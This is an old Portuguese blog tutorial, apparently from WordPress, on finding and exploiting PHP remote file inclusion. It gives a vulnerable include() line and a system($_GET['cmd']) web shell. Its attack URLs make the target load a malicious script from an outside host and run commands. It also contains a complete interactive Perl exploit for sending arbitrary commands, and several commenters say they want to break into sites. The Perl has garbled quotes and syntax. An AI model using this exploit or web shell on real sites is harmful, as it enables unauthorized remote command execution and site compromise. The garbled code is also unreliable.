Descobrir vulnerabilidade de php injection e explorando com um exploit, exploitando php injection, criar exploit para php injection

Publicado: agosto 24, 2009 em ataques, exploits, normal, shellcode
Tags:, , ,

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir alguma coisa.
Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.

Exemplo de página vulnerável:

include($_GET['page']);

Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.

Ex:   http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:

system($_GET['cmd']);

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir

A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:

O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43

29/02/2008 22:43
29/02/2008 22:43 31 vuln.php

Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)

Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/

Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt

Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.

Exemplos:
—————————————————————————-

system($_GET['cmd']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-

system($_GET['exec']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-

system($_GET['comando']);

http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa

OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.

—————————————————————————-

Vamos construir o exploit para explorar

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.

#!/usr/bin/perl

if(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
} ($site, $page, $script, $comando) = @ARGV;

Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:

system($_GET['cmd']);

então quando formos iniciar a requisição, colocaremos:

$argv_script = "&cmd=";

portanto, a página que devemos ‘visitar’ será

$pagina = $site.$page.$script.$argv_script.$comando;

Exemplo:

http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir

Com o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.

$resposta = get($pagina);

e mostramos a saída do servidor web,

print $resposta;

O corpo do exploit está concluído, o exploit é:

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = “&cmd=”;
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;

seria o mesmo que

$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];

Melhorias estéticas podem ser feitas, como por exemplo o uso de .

#!/usr/bin/perl
use LWP::Simples; site:
print "Host (Ex.: http://www.site.com): ";
$site = ;
if($site eq “”){
goto site;
}
if($site =~ /http:\/\//){
print ‘Nao coloque http:// !’.”\n”;
goto site;
}
pagina:
print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;
$page = ;
if($site eq “”){
goto pagina;
}
script:
print “Script (Ex.: http://www.host-files.com/script.txt): “;
$script = ;
if($script eq “”){
goto script;
}
if($script !~ /http:\/\//){
goto script;
}
print “Variavel para executar comandos (script)\n”;
print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;
$argv_script = ;
if(!$argv_script){
$argv_script = “cmd”;
}
$argv_script = ‘&’.$argv_script.’=';
comando:
print “Comando: “;
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;

Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.

Méritos: Colt7r

comentários
  1. Mark© disse:

    Boa man !! mais poderia ser mais especifico em como os exploits rodam tipo vc usou todos os comandos hostiados em site de 3os …..

    fikou meio vago mais ta bom !!

  2. Junior disse:

    muito instrutivo sua explicação

  3. D4rkSku11 disse:

    vlw cara me ajudo bastante xD

    • Angel of Hell disse:

      ai man gostei do tutorial completou bastante a minha jornada de estudois valeu mesmo……mais posso da uma dica?? segue ele com DNS Spoofing…….que tals?ou se axa que vai vim neguinhu querendo crakeah e mndar uns Buffers ? sai estorando td qto for pilhas……..kkkkkkkk abraços

  4. Pedro disse:

    Aff n ta dando pra entende nada afff só queria saber como invadir não um monte de codigo -.- aff q odio to a mais de 3 semanas atras desses codigo e so vem baguioi comlicado …

    • kkkkkkkkkk disse:

      Noob

    • Bruno disse:

      oxi meu filho você quer coisa facil. compartilha umas pasta de outro computador e entra na pasta voce já esta invandindo. você quer ser um hacker num é 1+1 que vc vai colocar no exploit não o cabaço. QUER SER UM HACKER DE MENTIRINHA. ESTUDA MEU FILHOOOOOOOO SE NÃO VOCÊ TA FUDIDO

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s